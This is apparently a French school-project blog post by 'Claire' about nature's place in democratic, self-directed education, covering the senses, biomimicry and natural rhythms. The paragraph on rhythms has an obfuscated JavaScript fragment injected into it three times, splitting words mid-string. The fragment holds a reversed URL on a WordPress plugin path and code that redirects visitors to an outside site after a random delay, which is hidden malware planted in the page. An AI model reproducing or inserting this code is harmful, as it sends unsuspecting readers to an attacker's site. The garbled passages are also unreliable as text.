Les propositions de la nature

Bonjour !

J’ai récemment écouté des conférences qui m’ont interpellé sur la question de notre place dans la nature et de notre capacité à s’harmoniser avec son rythme, avec ses saisons. Alors aujourd’hui, j’avais envie de vous parler de la place centrale de la nature dans notre projet d’école.

En tant qu’école, nous visons l’organisation d’un environnement favorable pour apprendre et entreprendre, pour explorer et créer, pour (se) connaître, (se) développer…  et devenir la personne qu’on a envie d’être. Et si la nature était un des ingrédients fondamentaux de cet environnement ?

Quand on discute avec quelqu’un.e qui découvre notre projet, on échappe rarement à cette fameuse question : « Si vous ne proposez pas de cours ou d’ateliers, comment les enfants vont-ils découvrir de nouvelles choses, comment vont-ils s’ouvrir au monde? » J’ai de multiples réponses mais celle que j’ai envie de vous apporter dans cet article se centrera sur quelques propositions que la nature a à nous faire… 🙂

La nature nous propose d’engager notre corps et nos sens…

Nous sommes bien plus qu’un cerveau. Car un cerveau sans corps, ça ne fonctionne pas. Ça commence par développer ce qu’on appelle les compétences sensorimotrices, ça continue avec notre capacité d’être « bien dans notre peau, dans nos baskets »?. Notre bonne santé, notre joie de vivre, notre capacité d’apprentissage dépend de ce que nous faisons de notre corps, de comment nous le nourrissons, de comment nous l’entretenons…  Je vois à quel point c’est facile de rester enfermée à l’intérieur, derrière mon écran, quand bien même c’est pour la « bonne cause », car il faut bien faire éclore ce projet. La nature, elle, nous propose de mettre notre corps en mouvement, de réconcilier corps et esprit. Je n’ai pas de meilleure référence que celle de Louis Espinassous qui plaide, études scientifiques à l’appui, pour faire reconnaître notre « besoin de nature » et qui décrit merveilleusement bien ce que le « dehors » peut nous apporter, autant en termes de capacités relationnelles que de bien-être intérieur, autant en termes de stimulations cognitives que de connexions neuronales..

La nature nous propose une bibliothèque en libre accès…

Les enfants n’ont pas besoin qu’on leur dise pour trouver que la nature est un endroit où l’on découvre sans cesse mille et une choses fascinantes. Cette fascination ne risque pas de s’arrêter quand on comprend la somme inouïe de connaissances que peut nous apporter l’étude du fonctionnement des écosystèmes et des organismes vivants…  Idriss Aberkane est assez passionnant sur le sujet du biomimétisme, qu’il définit comme l’art d’extraire de la connaissance de la nature..

La nature nous propose de prendre conscience des rythmes

Dernier aspect dont j’avais envie de parler aujourd’hui, c’est la question du rythme, des saisons. La nature nous apprend à faire chaque chose en son temps, elle nous apprend à respecter notre rythme et à prendre le temps. Quand nous défendons les apprentissages autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-dirigés, nous défendons la prise en compte des rythmes de chacun.e. Il ne s’agit pas seulement des « périodes sensibles » qu’on retrouve dans l’approche Montessori, il s’agit aussi de considérer que chaque individu.e a une histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toire et que selon où il / elle en est sur son chemin, il a besoin, envie de choses différentes. Se libérer des programmes scolaires, c’est permettre à chacun.e de rester connecté avec ce qu’il ou elle a besoin, maintenant, pour « s’autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-actualiser », pour s’aligner avec ce qui est juste et bon pour lui / elle. Encore faut-il avoir conscience de ce qui est juste et bon pour soi, encore faut-il savoir sentir comment on se sent. S’immerger dans la nature, ouvrir nos sens, c’est se permettre de se reconnecter au fonctionnement de la nature, à ses cycles,  et donc un moyen de se connecter à notre propre fonctionnement.

Je termine en reprenant les mots de mon amie Emmanuelle, qui est une de mes grandes sources d’inspiration dans la vie (d’ailleurs, c’est elle qui m’a fait découvrir l’éducation démocratique !). À l’époque où elle cherchait à créer l’École Joyeuse en Aveyron, elle disait de son projet qu’il avait pour objectif d’offrir une éducation buissonnière qui puisse réconcilier l’humain avec lui-même, avec les autres et avec la nature. Je me reconnais bien dans l’école qu’elle décrit dans la vidéo ci-dessous, qui rappelle quelques fondements des écoles démocratiques 🙂

À bientôt !

Claire

 

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